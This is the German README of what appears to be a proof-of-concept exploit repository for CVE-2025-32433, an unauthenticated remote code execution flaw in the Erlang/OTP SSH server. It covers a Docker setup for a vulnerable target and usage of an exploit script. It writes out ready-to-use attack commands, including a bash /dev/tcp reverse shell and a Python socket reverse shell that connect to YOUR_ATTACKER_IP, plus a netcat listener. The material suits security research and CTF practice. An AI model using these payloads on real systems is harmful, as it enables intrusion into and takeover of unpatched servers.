
Proof-of-Concept-Exploit für CVE-2025-32433, der eine nicht authentifizierte Remote-Code-Ausführung in Erlang/OTP SSH ermöglicht. Enthält Docker-Setup und Reverse-Shell-Payloads für Sicherheitsforschung und CTF-Herausforderungen.
Dieses Repository enthält einen Proof-of-Concept (PoC) für CVE-2025-32433, eine kritische, nicht authentifizierte Schwachstelle zur Remotecodeausführung (RCE), die die SSH-Serverimplementierung in Erlang/Open Telecom Platform (OTP) betrifft. Dieser PoC ist für Bildungszwecke, Sicherheitsforschung und Capture-The-Flag (CTF)-Herausforderungen konzipiert.
⚠️ Haftungsausschluss – Nur für Bildungs- und ethische Zwecke ⚠️
Dieser PoC wird ausschließlich zu Bildungs- und ethischen Hacking-Zwecken bereitgestellt. Er ist für den Einsatz in kontrollierten Umgebungen wie isolierten virtuellen Maschinen oder CTF-Plattformen vorgesehen, für die Sie eine ausdrückliche Genehmigung zur Durchführung von Sicherheitstests haben.
VERWENDEN SIE DIESEN PoC NICHT gegen ein System, das Sie nicht besitzen oder für das Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Unautorisierter Zugriff oder Ausnutzung von Computersystemen ist illegal und unethisch. Die Autoren und Betreuer dieses Repositorys sind nicht verantwortlich für Missbrauch oder Schäden, die durch diesen Code verursacht werden.
| Attribut | Details |
|---|
| CVE ID | CVE-2025-32433 |
| Schwachstellentyp | Nicht authentifizierte Remotecodeausführung (RCE) |
| CVSS v3.1 Punktzahl | 10.0 (Kritisch) |
| Betroffene Software | Erlang/OTP SSH-Server (ssh) |
| Betroffene Versionen | OTP-27.3.2 und früher OTP-26.2.5.10 und früher OTP-25.3.2.19 und früher Versionen ab OTP 17.0 und älter |
| Behobene Versionen | OTP-27.3.3, OTP-26.2.5.11, OTP-25.3.2.20 |
Die Schwachstelle liegt in der Art und Weise, wie der Erlang/OTP SSH-Server SSH-Protokollnachrichten während der Vorauthentifizierungsphase verarbeitet. Konkret gelingt es dem Server nicht, die SSH-Protokollsequenz ordnungsgemäß durchzusetzen, sodass ein entfernter, nicht authentifizierter Angreifer manipulierte SSH_MSG_CHANNEL_OPEN- und SSH_MSG_CHANNEL_REQUEST-Nachrichten senden kann. Dies ermöglicht es dem Angreifer, einen Sitzungskanal zu öffnen und beliebige Erlang-Befehle auszuführen (die wiederum Systembefehle ausführen können), ohne gültige Anmeldedaten bereitzustellen. Wenn der SSH-Daemon mit erweiterten Rechten läuft (z.B. als root), kann eine erfolgreiche Ausnutzung zu einer vollständigen Systemkompromittierung führen.
Der einfachste Weg, einen verwundbaren Erlang/OTP SSH-Server einzurichten, ist die Verwendung der bereitgestellten Dockerfile.
Klonen Sie dieses Repository:
git clone https://github.com/NiteeshPujari/CVE-2025-32433-PoC.git
cd CVE-2025-32433-PoC
Erstellen Sie das Docker-Image:
Dieser Befehl kompiliert eine verwundbare Version von Erlang/OTP (OTP-26.2.5.10) und konfiguriert den SSH-Server.
docker build -t erlang-ssh-vulnerable .
Starten Sie den Container mit dem verwundbaren Server:
Dies startet den Erlang/OTP SSH-Server im Hintergrund und lauscht auf Port 2222.
docker run -d --name erlang-ssh-target -p 2222:2222 erlang-ssh-vulnerable
-d: Startet den Container im Hintergrund (detached mode).--name erlang-ssh-target: Weist dem Container einen Namen für die einfache Verwaltung zu.-p 2222:2222: Mapped Host-Port 2222 auf Container-Port 2222.Überprüfen Sie, ob der Container läuft:
docker ps
Das Skript cve_2025_32433_exploit.py kann interaktiv oder mit Befehlszeilenargumenten ausgeführt werden.
Wenn Sie das Skript ohne Argumente ausführen, werden Sie zur Eingabe der erforderlichen Informationen aufgefordert.
python3 cve_2025_32433_exploit.py
127.0.0.1, wenn Docker auf demselben Host angegriffen wird).2222).Dies ist das Standardverhalten, wenn Sie die Eingabeaufforderung im interaktiven Modus leer lassen. Es erstellt eine Datei /tmp/note.txt auf dem Ziel.
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'file:write_file("/tmp/note.txt", "Exploit Ran!").'
docker exec -it erlang-ssh-target cat /tmp/note.txt
Exploit Ran! sehen.Um eine Reverse Shell zu erhalten, müssen Sie ein Payload bereitstellen, das sich mit einem Listener auf Ihrem Rechner verbindet.
Starten Sie einen Netcat-Listener auf Ihrem Angriffsrechner (z. B. Kali Linux) auf dem von Ihnen gewählten Port.
nc -lvnp 4444
Wichtig: Stellen Sie sicher, dass Ihre Firewall (z.B.
ufw) auf Ihrem Angriffsrechner eingehende Verbindungen auf diesem Port zulässt.sudo ufw allow 4444/tcp
Führen Sie das PoC-Skript mit dem Reverse-Shell-Payload aus. Ersetzen Sie YOUR_ATTACKER_IP durch die IP-Adresse Ihres Rechners.
Bash-Reverse-Shell:
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1").'
Python-Reverse-Shell (oft zuverlässiger):
python3 cve_2025_32433_exploit.py --target-ip 127.0.0.1 --target-port 2222 --command 'os:cmd("python3 -c ''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_ATTACKER_IP\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);''").'
Überprüfen Sie Ihren Netcat-Listener. Sie sollten eine Verbindung erhalten und eine Shell auf dem Zielcontainer haben.
Um den Docker-Container und das Image zu stoppen und zu entfernen:
# Stop and remove the container
docker stop erlang-ssh-target
docker rm erlang-ssh-target
# Optional: remove the image as well
docker rmi erlang-ssh-vulnerable